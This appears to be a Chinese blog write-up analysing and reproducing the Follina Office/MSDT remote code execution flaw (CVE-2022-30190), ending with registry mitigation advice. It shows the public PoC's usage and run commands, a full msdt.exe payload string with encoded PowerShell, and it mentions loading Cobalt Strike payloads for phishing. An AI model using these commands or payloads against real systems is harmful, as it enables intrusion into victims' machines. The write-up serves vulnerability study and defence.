admin管理员组

文章数量:1530972


文章目录

    • 介绍
    • 复现
    • Poc 分析
      • 分析 Python 代码
      • ms-msdt 协议
    • 修复

介绍

可利用恶意 Office 文件中的远程模板功能从远程网络服务器获取恶意 HTML 文件,通过微软支持诊断工具(Microsoft Support Diagnostic Tool,MSDT)执行恶意 PowerShell 代码。该漏洞在宏被禁用的情况下,仍然可以调用 MSDT 执行恶意代码。并且当恶意文件另存为 RTF 格式时,还可以通过 Windows 资源管理器中的预览窗格触发此 rce 的调用,无需执行也可以在目标机器上执行任意代码。

利用 RCE 能够在非管理员权限、禁用宏且在 windows defender 开启的情况下绕过防护,达到上线的效果

RTF是Rich Text Format的缩写,意即多文本格式。 这是一种类似DOC格式(Word文档)的文件,有很好的兼容性,使用Windows“附件”中的“写字板”就能打开并进行编辑。 使用“写字板”打开一个RTF格式文件时,将看到文件的内容;如果要查看RTF格式文件的源代码,只要使用“记事本”将它打开就行了

影响版本:

目前难以全面统计该 cve 影响的Office版本,微软官方尚公布该 cve 波及的具体范围。经安天CERT分析人员验证,确认受该 cve 影响的版本如下:

Microsoft Office 2013 Service Pack 1 (64-bit edition)

Microsoft Office 2013 Service Pack 1 (32-bit edition)

Microsoft Office 2016 (64-bit edition)

Microsoft Office 2016 (32-bit edition)

Microsoft Office LTSC 2021 for 32-bit edition

Microsoft Office LTSC 2021 for 64-bit edition

复现

我这里复现用的版本是:office Microsoft Office LTSC 专业增强版 2021

Poc:https://github/chvancooten/follina.py

提供了很多利用方法

Usage:

$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]

options:
  -h, --help            show this help message and exit

Required Arguments:
  -m {command,binary}, --mode {command,binary}
                        Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command

Binary Execution Arguments:
  -b BINARY, --binary BINARY
                        The full path of the binary to run. Can be local or remote from an SMB share

Command Execution Arguments:
  -c COMMAND, --command COMMAND
                        The encoded command to execute in "command" mode

Optional Arguments:
  -t {rtf,docx}, --type {rtf,docx}
                        The type of payload to use, can be "docx" or "rtf"
  -u URL, --url URL     The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
  -H HOST, --host HOST  The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
  -P PORT, --port PORT  The port to run the HTTP server on, defaults to 80
  • 执行命令

    python .\follina.py -m command -c calc -t docx
    


    可以通过 -c 参数指定 cs 的 powershell 代码上线 cs

  • 执行二进制文件

    python follina.py -m binary -b \windows\system32\calc.exe -H 0.0.0.0 -P 8080 -t docx
    

生成 docx 文档后点击

Poc 分析

分析 Python 代码

首先根据 -H -p 参数指定的 IP 和端口生成 payload_url,url 就是生成的 exploit.html 文件位置

在上面的代码中可以看到如果指定模式为 command 就会拼接ms-msdt:开头的字符串,然后调用 generate docx 其实就是将 payload_url 拼接到 document.xml-rels.tpl 中然后生成 word 文件

之前搞过 邮 件 钓 鱼 的同学都应该很清除这里的逻辑是向word\_rels\document.xml.rels写一个远程模板地址,CobaltStrike使用:第三篇使用CS进行用户驱动攻击(钓鱼攻击)

在来看一下这个 exploit.html 的具体内容,可以看到ms-msdt开头的字符串被拼接到了<script>标签中,然后调整转到这个伪协议

ms-msdt 协议

在注册表中找到,其 command 是"%SystemRoot%\system32\msdt.exe" % 1

msdt.exe 是微软支持诊断工具,官网文档

官网文档中给出了语法参数对照 payload

msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
  • /id PCWDiagnostic表示运行 PCWDiagnostic 诊断包

大概意思就是该部分表示要在故障排除阶段运行的脚本,发生故障即触发 payload 中的 powershell 代码

修复

禁用MSDT URL协议

  1. 以管理员身份运行命令提示符

  2. 备份注册表项后,执行命令:reg export HKEY_CLASSES_ROOT\ms-msdt filename

  3. 再执行命令:reg delete HKEY_CLASSES_ROOT\ms-msdt /f

若需要撤销禁用则用管理员身份打开cmd执行:reg import filename

受本次 RCE 影响的Office版本目前不便统计,且暂无官方补丁,由此判断:该漏洞后续被利用的可能性较大。鉴于本次漏洞影响十分广泛且危害较大,安天CERT给出下列建议:

  1. 谨慎下载及打开来源不明或内容可疑的文档;

  2. 关闭资源管理器的文件内容预览功能;

  3. 更新终端防病毒程序(及)病毒库;

  4. 禁用ms-msdt功能,并取消对应的rtf文件类型关联。

Follina Microsoft Office RCE with MS-MSDT Protocol

Microsoft Office 远程代码执行(CVE-2022-30190)风险提示

公众号:红队蓝军,Windows支持诊断工具(MSDT)远程代码执行(CVE-2022-30190)分析复现_修复

本文标签: RCEMSDTWindowsCVE